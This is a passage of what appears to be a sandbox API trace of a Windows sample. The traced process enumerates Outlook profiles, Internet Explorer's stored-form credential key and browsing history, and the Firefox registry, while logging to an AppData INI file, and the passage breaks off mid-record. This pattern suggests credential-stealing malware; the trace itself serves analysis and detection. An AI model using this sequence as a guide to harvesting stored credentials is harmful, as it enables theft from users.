NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.738] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.738] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.738] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x18, ByteOffset=0x29ce14*=1420, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.738] NtClose (Handle=0xc4) returned 0x0 [0161.739] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x2, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.739] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.739] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.739] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.739] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x18, ByteOffset=0x29ce14*=1444, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.739] NtClose (Handle=0xc4) returned 0x0 [0161.740] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.740] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.740] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.740] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x14, ByteOffset=0x29ce14*=1468, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.740] NtClose (Handle=0xc4) returned 0x0 [0161.740] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x3, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.741] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.741] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.741] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.741] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x1a, ByteOffset=0x29ce14*=1488, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.741] NtClose (Handle=0xc4) returned 0x0 [0161.742] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.742] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.743] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.743] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x18, ByteOffset=0x29ce14*=1514, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.743] NtClose (Handle=0xc4) returned 0x0 [0161.744] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x4, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.744] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.744] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.744] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.744] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x1c, ByteOffset=0x29ce14*=1538, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.744] NtClose (Handle=0xc4) returned 0x0 [0161.753] RtlIntegerToChar (in: Value=0x4, Base=0x0, Length=0x20, String=0x29cefc | out: String="4") returned 0x0 [0161.753] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.753] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.753] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.753] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x6, ByteOffset=0x29ce14*=1566, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.753] NtClose (Handle=0xc4) returned 0x0 [0161.754] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x5, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.754] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.754] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.754] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.754] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x1a, ByteOffset=0x29ce14*=1572, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.754] NtClose (Handle=0xc4) returned 0x0 [0161.755] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.755] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.755] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.755] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x22, ByteOffset=0x29ce14*=1598, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.755] NtClose (Handle=0xc4) returned 0x0 [0161.755] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x6, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.755] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.755] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.755] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.756] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x20, ByteOffset=0x29ce14*=1632, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.756] NtClose (Handle=0xc4) returned 0x0 [0161.756] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.756] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.756] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.756] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x14, ByteOffset=0x29ce14*=1664, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.756] NtClose (Handle=0xc4) returned 0x0 [0161.757] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x7, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x8000001a [0161.757] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29cf34, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.757] NtCreateFile (in: FileHandle=0x29cf54, DesiredAccess=0x12019f, ObjectAttributes=0x29cf1c*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cf3c, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cf54*=0xc4, IoStatusBlock=0x29cf3c*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.757] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cf3c, FileInformation=0x29ce94, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cf3c, FileInformation=0x29ce94) returned 0x0 [0161.757] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cf3c, Buffer=0x308730*, Length=0x4, ByteOffset=0x29ceac*=1684, Key=0x0 | out: IoStatusBlock=0x29cf3c, Buffer=0x308730*) returned 0x0 [0161.757] NtClose (Handle=0xc4) returned 0x0 [0161.758] NtClose (Handle=0xc0) returned 0x0 [0161.758] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x3, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x8000001a [0161.758] NtClose (Handle=0xbc) returned 0x0 [0161.758] NtEnumerateKey (in: KeyHandle=0x78, Index=0xd, KeyInformationClass=0x0, KeyInformation=0x29d794, Length=0x200, ResultLength=0x29dbdc | out: KeyInformation=0x29d794, ResultLength=0x29dbdc) returned 0x0 [0161.758] NtCreateKey (in: KeyHandle=0x29dbe8, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe8*=0xbc) returned 0x0 [0161.758] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x8000001a [0161.758] NtClose (Handle=0xbc) returned 0x0 [0161.758] NtEnumerateKey (in: KeyHandle=0x78, Index=0xe, KeyInformationClass=0x0, KeyInformation=0x29d794, Length=0x200, ResultLength=0x29dbdc | out: KeyInformation=0x29d794, ResultLength=0x29dbdc) returned 0x8000001a [0161.758] NtCreateKey (in: KeyHandle=0x29e244, DesiredAccess=0x20219, ObjectAttributes=0x29dbd4*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook_2016\\", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29e244*=0xbc) returned 0x0 [0161.758] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x29d794, Length=0x200, ResultLength=0x29dbdc | out: KeyInformation=0x29d794, ResultLength=0x29dbdc) returned 0x8000001a [0161.758] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x29d32c | out: TokenHandle=0x29d32c*=0xc0) returned 0x0 [0161.758] NtQueryInformationToken (in: TokenHandle=0xc0, TokenInformationClass=0x1, TokenInformation=0x29cb24, TokenInformationLength=0x400, ReturnLength=0x29d324 | out: TokenInformation=0x29cb24, ReturnLength=0x29d324) returned 0x0 [0161.758] ConvertSidToStringSidW () returned 0x1 [0161.758] NtClose (Handle=0xc0) returned 0x0 [0161.759] NtCreateKey (in: KeyHandle=0x29e240, DesiredAccess=0x20219, ObjectAttributes=0x29d328*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29e240*=0xc0) returned 0x0 [0161.760] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logri.ini", NtPathName=0x29d224, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logri.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.760] NtCreateFile (in: FileHandle=0x29d244, DesiredAccess=0x120089, ObjectAttributes=0x29d20c*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logri.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29d22c, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29d244*=0x0, IoStatusBlock=0x29d22c*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc0000034 [0161.760] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logri.ini", NtPathName=0x29d23c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logri.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.760] NtCreateFile (in: FileHandle=0x29d25c, DesiredAccess=0x12019f, ObjectAttributes=0x29d224*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logri.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29d244, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29d25c*=0xc4, IoStatusBlock=0x29d244*(Status=0x0, Pointer=0x0, Information=0x2)) returned 0x0 [0161.760] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29d244, FileInformation=0x29d19c, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29d244, FileInformation=0x29d19c) returned 0x0 [0161.760] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29d244, Buffer=0x308730*, Length=0x28, ByteOffset=0x29d1b4*=0, Key=0x0 | out: IoStatusBlock=0x29d244, Buffer=0x308730*) returned 0x0 [0161.761] NtClose (Handle=0xc4) returned 0x0 [0161.771] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="crypt32.dll", BaseAddress=0x29d244 | out: BaseAddress=0x29d244*=0x76650000) returned 0x0 [0161.776] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ole32.dll", BaseAddress=0x29d250 | out: BaseAddress=0x29d250*=0x76160000) returned 0x0 [0161.793] CoInitialize (pvReserved=0x0) returned 0x0 [0161.799] CoCreateInstance (in: rclsid=0x29d338*(Data1=0x3c374a40, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x29d348*(Data1=0xafa0dc11, Data2=0xc313, Data3=0x11d0, Data4=([0]=0x83, [1]=0x1a, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0xae, [7]=0x38)), ppv=0x29d360 | out: ppv=0x29d360*=0x31fb90) returned 0x0 [0163.982] IUrlHistoryStg:EnumUrls (in: This=0x31fb90, ppenum=0x29d35c | out: ppenum=0x29d35c*=0x31fdd8) returned 0x0 [0164.069] IUnknown:Release (This=0x31fb90) returned 0x1 [0164.070] CoUninitialize () [0164.080] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x0, KeyValueInformationClass=0x1, KeyValueInformation=0x29d384, Length=0x800, ResultLength=0x29e23c | out: KeyValueInformation=0x29d384, ResultLength=0x29e23c) returned 0x8000001a [0164.080] NtClose (Handle=0xc0) returned 0x0 [0164.090] NtCreateKey (in: KeyHandle=0x29e1a0, DesiredAccess=0x20219, ObjectAttributes=0x29e018*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\SOFTWARE\\Mozilla\\Mozilla Firefox\\", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29e1a0*=0xc0) returned 0x0 [0164.090] NtQueryValueKey (in: KeyHandle=0xc0, ValueName="CurrentVersion", KeyValueInformationClass=0x1, KeyValueInformation=0x34d3e8, Length=0x100, ResultLength=0x29e188 | out: KeyValueInformation=0x34d3e8*(TitleIndex=0x0, Type=0x1, DataOffset=0x30, 